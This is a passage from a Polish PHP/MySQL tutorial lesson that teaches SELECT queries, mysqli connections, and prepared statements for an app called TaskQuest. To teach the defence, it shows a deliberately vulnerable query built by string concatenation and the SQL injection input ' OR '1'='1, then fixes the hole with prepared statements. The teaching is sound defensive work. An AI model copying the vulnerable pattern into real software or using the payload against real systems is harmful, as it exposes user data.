0.85em;">string</code></td><td><strong>zmiana:</strong> dochodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code>, data jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code></td></tr><tr><td>symulowane <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, ...</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>źródło danych gracza</td><td><strong>usuwamy</strong> — dane gracza z tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>źródło zadań</td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> czyta zadania z bazy; funkcja zostaje (używa jej jeszcze <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code></td><td>nie ma</td><td><strong>dochodzi:</strong> połączenie + 4 funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></td><td>3 stałe</td><td><strong>dochodzą</strong> 4 stałe z danymi dostępowymi do bazy</td></tr><tr><td>logowanie</td><td>login + imię, każdy login „wchodzi”</td><td><strong>zmiana:</strong> tylko login, musi istnieć w bazie; w sesji tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code></td></tr><tr><td>wszystkie funkcje listy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> itd.), grywalizacji, terminów</td><td>istnieją</td><td><strong>zostają bez zmian</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Najważniejsza zasada tej lekcji jest ta sama co w Lekcji 17 (sekcja 6): <strong>zmienia się źródło danych, obiekty zostają te same</strong>. Dlatego większość <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — liczniki, filtr widoku, pasek XP, lista — nie zmieni się ani o znak.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: dane z bazy, bez linku „+ Dodaj zadanie”, ranking)
├── dodaj-zadanie.php                bez zmian (nadal CSV; wyłączony z nawigacji do L19)
├── zaloguj.php                      (zmiana: login sprawdzany w bazie, bez pola „imię”)
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: 19 wymaganych plików)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: id, ?string)
├── config/
│   └── config.php                   (zmiana: stałe BAZA_...)
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 1.8”)
│   ├── funkcje_bazy.php             NOWY
│   ├── funkcje_sesji.php            (zmiana: czyZalogowany())
│   ├── funkcje_tekstowe.php         (zmiana: walidujDaneLogowania())
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                bez zmian
└── data/
    └── zadania.csv                  bez zmian (czyta go już tylko dodaj-zadanie.php)</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja17/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>W phpMyAdmin uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka SQL). Zaczynamy od czystych danych testowych.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Ola loguje się do TaskQuest jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>. Co widzi?</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co widzi Ola</th><th>Co jest w bazie dla Oli</th></tr></thead><tbody><tr><td>„Witaj, Ola!”</td><td>imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola</code> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>99 XP, poziom 1</td><td><strong>250 XP</strong>, poziom 3</td></tr><tr><td>streak 5</td><td><strong>streak 0</strong></td></tr><tr><td>zadania Kamy z CSV</td><td><strong>jedno własne zadanie</strong> „Zaprojektować bazę TaskQuest”</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Imię się zgadza tylko dlatego, że Ola sama je wpisała w formularzu. Co więcej, ktoś może się zalogować jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieistniejacy_123</code> — takiego konta nie ma nigdzie, a TaskQuest i tak go wpuści.</p>



<p class="wp-block-paragraph">Potrzebujemy trzech rzeczy:</p>



<ol class="wp-block-list">
<li><strong>połączenia</strong> PHP z bazą,</li>



<li><strong>zapytania</strong>, które zwróci dane jednego konkretnego użytkownika i tylko jego zadania,</li>



<li><strong>bezpiecznego</strong> sposobu wstawienia do zapytania danych z zewnątrz (login wpisany w formularzu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z sesji) — bo, jak zaraz zobaczysz, najprostszy sposób jest groźny.</li>
</ol>



<h1 class="wp-block-heading">3. Nowy mechanizm: SELECT i <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></h1>



<h2 class="wp-block-heading">3.1 <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> — zadajemy bazie pytania (phpMyAdmin)</h2>



<p class="wp-block-paragraph">W Lekcji 17 używaliśmy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code>. Teraz poznamy pełniejszą postać. Otwórz phpMyAdmin → baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka <strong>SQL</strong>. Przed uruchomieniem każdego zapytania <strong>przewidź</strong>, ile wierszy zwróci.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul, termin FROM zadania;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1 AND data_wykonania IS NULL;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1 ORDER BY termin;
SELECT login, xp FROM uzytkownicy ORDER BY xp DESC LIMIT 1;</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Fragment</th><th>Znaczenie</th><th>Odpowiednik w TaskQuest</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul, termin</code></td><td>które <strong>kolumny</strong> chcemy dostać</td><td>—</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">FROM zadania</code></td><td>z której tabeli</td><td>który plik CSV</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = 1</code></td><td>tylko wiersze spełniające warunek</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">AND</code></td><td>oba warunki muszą być spełnione</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;&amp;</code> w PHP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code></td><td>czy wartość jest pusta (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">=== null</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">!== null</code> w PHP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY termin</code></td><td>sortowanie rosnące (domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ASC</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY xp DESC</code></td><td>sortowanie malejące</td><td>—</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT 1</code></td><td>najwyżej tyle wierszy</td><td>—</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Kolejność części jest stała: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT ... FROM ... WHERE ... ORDER BY ... LIMIT ...</code>. Zamiana miejscami daje błąd składni.</p>



<p class="wp-block-paragraph"><strong>Dlaczego wymieniamy kolumny zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">*</code>?</strong> Pobieramy tylko to, czego potrzebujemy. W tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> jest kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> — od Lekcji 19 będzie w niej skrót hasła. <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> przy wyświetlaniu rankingu przeciągnąłby go do PHP zupełnie niepotrzebnie.</p>



<p class="wp-block-paragraph"><strong>Pułapka:</strong> sprawdź teraz</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE data_wykonania = NULL;</code></pre>



<p class="wp-block-paragraph">Wynik: <strong>zero wierszy, bez błędu</strong>, choć niewykonane zadania istnieją. <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> oznacza „nie wiadomo”, a „czy nie wiadomo jest równe nie wiadomo?” daje w SQL odpowiedź „nie wiadomo”, czyli nie „prawda”. Do <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> używamy <strong>tylko</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code>. To jeden z najczęstszych błędów początkujących, bo baza nic nie zgłasza.</p>



<h2 class="wp-block-heading">3.2 Połączenie z bazą w PHP</h2>



<p class="wp-block-paragraph">W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie-&gt;set_charset('utf8mb4');

echo 'Połączono. Serwer: ' . $polaczenie-&gt;server_info;</code></pre>



<p class="wp-block-paragraph">Uruchom <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Linia</th><th>Po co</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(...)</code></td><td>ustawia, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> zgłasza błędy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_REPORT_ERROR</code> — zgłaszaj błędy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_REPORT_STRICT</code> — <strong>jako wyjątki</strong>. Od PHP 8.1 to ustawienie domyślne, ale piszemy je jawnie: kod nie zależy od wersji PHP, a czytający od razu wie, czego się spodziewać</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(host, użytkownik, hasło, baza)</code></td><td>tworzy <strong>obiekt połączenia</strong> (klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>, tak jak od Lekcji 15 tworzysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>). XAMPP ma domyślnie użytkownika <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code> bez hasła</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset('utf8mb4')</code></td><td>PHP i baza umawiają się na kodowanie znaków. Bez tego polskie litery i emoji mogą przychodzić zniekształcone — zależnie od ustawień serwera</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;server_info</code></td><td>właściwość obiektu: wersja serwera. Tu tylko dowód, że połączenie działa</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Teraz zmień nazwę bazy na <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquestt</code> i uruchom ponownie. Zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught mysqli_sql_exception: Unknown database 'taskquestt'</code>. To znany Ci mechanizm z Lekcji 12: <strong>wyjątek</strong>, którego nikt nie złapał. <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_sql_exception</code> to klasa wyjątku z rozszerzenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>; jest rodzajem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>, więc złapie go zwykłe <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code>. Przywróć nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Połączenie zamyka się samo, gdy skrypt się kończy. Można je zamknąć wcześniej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;close();</code>. W TaskQuest jedno żądanie = jedno krótkie połączenie, więc zostawiamy to PHP.</p>
</blockquote>



<h2 class="wp-block-heading">3.3 Pierwsze zapytanie z PHP</h2>



<p class="wp-block-paragraph">Dopisz do brudnopisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie-&gt;query('SELECT id, login, imie, xp FROM uzytkownicy');

echo '&lt;p&gt;Liczba użytkowników: ' . $wynik-&gt;num_rows . '&lt;/p&gt;';

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    echo "&lt;p&gt;{$wiersz&#91;'id']}. {$wiersz&#91;'login']} ({$wiersz&#91;'imie']}) — {$wiersz&#91;'xp']} XP&lt;/p&gt;";
}</code></pre>



<p class="wp-block-paragraph">Po drodze powstają <strong>trzy różne rzeczy</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie  (obiekt mysqli)        ──query()──►  $wynik  (obiekt mysqli_result)
$wynik                              ──fetch_assoc()──►  $wiersz  (tablica asocjacyjna, klucze = nazwy kolumn)
                                                        albo null, gdy wiersze się skończyły</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> wysyła zapytanie i zwraca <strong>wynik</strong> — coś w rodzaju otwartego pliku CSV, z którego czytamy wiersz po wierszu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca <strong>kolejny</strong> wiersz, a po ostatnim zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($wiersz = $wynik-&gt;fetch_assoc())</code> działa jak pętla po <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> z Lekcji 11: przypisz, sprawdź, powtarzaj.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> — liczba wierszy wyniku.</li>
</ul>



<p class="wp-block-paragraph">Dopisz na końcu brudnopisu i <strong>przewidź</strong>, co pokaże:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie-&gt;query('SELECT id, xp, data_ostatniej_aktywnosci FROM uzytkownicy');
var_dump($wynik-&gt;fetch_assoc());
var_dump($wynik-&gt;fetch_assoc());
var_dump($wynik-&gt;fetch_assoc());</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> przyszły jako <strong>teksty</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">string(1) "1"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "99"</code>), data jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">"2026-09-14"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> u Oli jako PHP-owe <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, a trzecie wywołanie zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> (użytkowników jest dwóch). Zapamiętaj te teksty — w 3.5 zobaczysz różnicę.</p>



<h2 class="wp-block-heading">3.4 Dane od użytkownika w zapytaniu — i dlaczego tak NIE robimy</h2>



<p class="wp-block-paragraph">TaskQuest musi znaleźć użytkownika po loginie wpisanym w formularzu. Najprostszy pomysł: wkleić login do tekstu zapytania. Zastąp zawartość brudnopisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie-&gt;set_charset('utf8mb4');

// ŹLE — wyłącznie do tej demonstracji!
$login = $_GET&#91;'login'] ?? '';
$sql = "SELECT id, login, xp FROM uzytkownicy WHERE login = '$login'";

echo "&lt;p&gt;Zapytanie: $sql&lt;/p&gt;";

$wynik = $polaczenie-&gt;query($sql);
echo "&lt;p&gt;Znaleziono: {$wynik-&gt;num_rows}&lt;/p&gt;";

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    echo "&lt;p&gt;{$wiersz&#91;'login']} — {$wiersz&#91;'xp']} XP&lt;/p&gt;";
}</code></pre>



<p class="wp-block-paragraph">Uruchamiaj po kolei i za każdym razem czytaj linię „Zapytanie: &#8230;”:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Adres</th><th>Wynik</th><th>Co się stało</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=Ola_TQ</code></td><td>1 wiersz</td><td>działa</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=Nowy_1</code></td><td>0 wierszy</td><td>działa</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=O'Neil</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax...</code></td><td>apostrof z loginu <strong>zamknął</strong> tekst w SQL za wcześnie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=' OR '1'='1</code></td><td><strong>2 wiersze — wszyscy użytkownicy</strong></td><td>patrz niżej</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Spójrz na ostatnie zapytanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, login, xp FROM uzytkownicy WHERE login = '' OR '1'='1'</code></pre>



<p class="wp-block-paragraph">Tekst wpisany przez użytkownika <strong>stał się częścią polecenia SQL</strong>. Warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdziwy, więc zapytanie zwraca wszystkich. To <strong>SQL injection</strong> (wstrzykiwanie SQL) — od lat jedna z najczęściej wykorzystywanych podatności aplikacji webowych. Tą samą metodą da się ominąć logowanie albo wyciągnąć dane z innych tabel.</p>



<p class="wp-block-paragraph">Ktoś powie: „przecież <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> nie przepuści apostrofu”. To prawda — dla loginu. Ale wyszukiwarka zadań (zadanie końcowe A) musi przyjąć dowolny tekst, a opis zadania może zawierać apostrof. <strong>Walidacja to pierwsza linia obrony, a zapytanie ma być bezpieczne samo z siebie.</strong></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Testuj takie rzeczy wyłącznie na własnej, lokalnej bazie. Próba włamania do cudzego systemu jest przestępstwem.</p>
</blockquote>



<h2 class="wp-block-heading">3.5 Prepared statements — dane osobno, polecenie osobno</h2>



<p class="wp-block-paragraph">Problem wziął się z tego, że polecenie i dane zostały sklejone w jeden tekst. <strong>Prepared statement</strong> (zapytanie przygotowane) rozdziela je:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. prepare()     wysyłamy SZABLON polecenia:  ... WHERE login = ?
                 baza analizuje go i zapamiętuje — to jest już gotowe polecenie
2. bind_param()  podpinamy dane pod znak ?
3. execute()     wysyłamy dane osobno; baza wstawia je jako WARTOŚĆ, nigdy jako kod
4. get_result()  odbieramy wynik — dalej jak w 3.3 (fetch_assoc())</code></pre>



<p class="wp-block-paragraph">Cokolwiek wpisze użytkownik, baza porówna to z loginem jako zwykły tekst. <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code> to po prostu dziwny login, którego nikt nie ma.</p>



<p class="wp-block-paragraph">Zamień w brudnopisie część od <code class="prettyprint lang-sql" style="font-size: 0.85em;">// ŹLE</code> do końca na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$login = $_GET&#91;'login'] ?? '';

$zapytanie = $polaczenie-&gt;prepare('SELECT id, login, xp FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param('s', $login);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();

echo "&lt;p&gt;Znaleziono: {$wynik-&gt;num_rows}&lt;/p&gt;";

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    var_dump($wiersz);
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> ma dwa rodzaje argumentów:</p>



<ul class="wp-block-list">
<li><strong>tekst z typami</strong> — po jednej literze na każdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, w tej samej kolejności: <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> — tekst (<em>string</em>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> — liczba całkowita (<em>integer</em>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code> — liczba z przecinkiem (<em>double</em>),</li>



<li><strong>zmienne</strong> z wartościami, w tej samej kolejności co znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>.</li>
</ul>



<p class="wp-block-paragraph">Przykład z dwoma parametrami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ? AND tytul = ?</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('is', $uzytkownikId, $tytul)</code>.</p>



<p class="wp-block-paragraph">Powtórz cztery adresy z tabeli w 3.4. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> → 1, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code> → 0, <code class="prettyprint lang-sql" style="font-size: 0.85em;">O'Neil</code> → <strong>0, bez błędu</strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code> → <strong>0</strong>.</p>



<p class="wp-block-paragraph">Teraz spójrz na <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">["id"]=&gt; int(2)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">["xp"]=&gt; int(250)</code>. W 3.3 były teksty, tu są <strong>liczby</strong>. Prepared statements przesyłają wynik w innym formacie (tzw. protokół binarny) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> zamienia kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code> na PHP-owe <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>. Daty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>) nadal przychodzą jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Dla TaskQuest to wygodne: typy pasują do właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Zasada TaskQuest od dziś:</strong> każde zapytanie, w którym jest <strong>jakakolwiek</strong> wartość z zewnątrz (formularz, adres, cookie, sesja), piszemy jako prepared statement. Sklejanie SQL ze zmiennymi (<code class="prettyprint lang-sql" style="font-size: 0.85em;">"... '$login'"</code>) jest zakazane. <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> zostaje tylko dla zapytań bez żadnych zmiennych — a dla porządku i tak w TaskQuest ich nie używamy.</p>
</blockquote>



<h3 class="wp-block-heading">Typowe błędy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Błąd</th><th>Skutek</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE login = '?'</code> (znak zapytania w apostrofach)</td><td>to już nie parametr, tylko tekst „?”; <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zgłasza błąd o niezgodnej liczbie parametrów</td></tr><tr><td>liczba liter w typach ≠ liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code></td><td>błąd o niezgodnej liczbie parametrów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', 5)</code> — wartość zamiast zmiennej</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>: argumentu nie da się przekazać przez referencję. <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> wymaga <strong>zmiennych</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;fetch_assoc()</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>: taka metoda nie istnieje. <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> ma <strong>wynik</strong>, nie zapytanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE data_wykonania = NULL</code></td><td>zawsze 0 wierszy, bez błędu (3.1)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> „bo wygodniej”</td><td>pobieramy kolumny, których nie potrzebujemy (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>)</td></tr></tbody></table></figure>



<h1 class="wp-block-heading">4. SAMODZIELNIE — zadania wybranego użytkownika jako obiekty</h1>



<p class="wp-block-paragraph">Nadal w brudnopisie. Napisz skrypt, który:</p>



<ol class="wp-block-list">
<li>dołącza <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>,</li>



<li>łączy się z bazą jak w 3.2,</li>



<li>bierze <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> użytkownika z adresu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?id=1</code>); jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nie składa się z samych cyfr, wyświetla <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowe id.</code> i kończy działanie,</li>



<li><strong>prepared statementem</strong> pobiera kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> zadań tego użytkownika,</li>



<li>z każdego wiersza tworzy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (argumenty nazwane, jak w Lekcji 17, sekcja 6) i dopisuje go do tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>,</li>



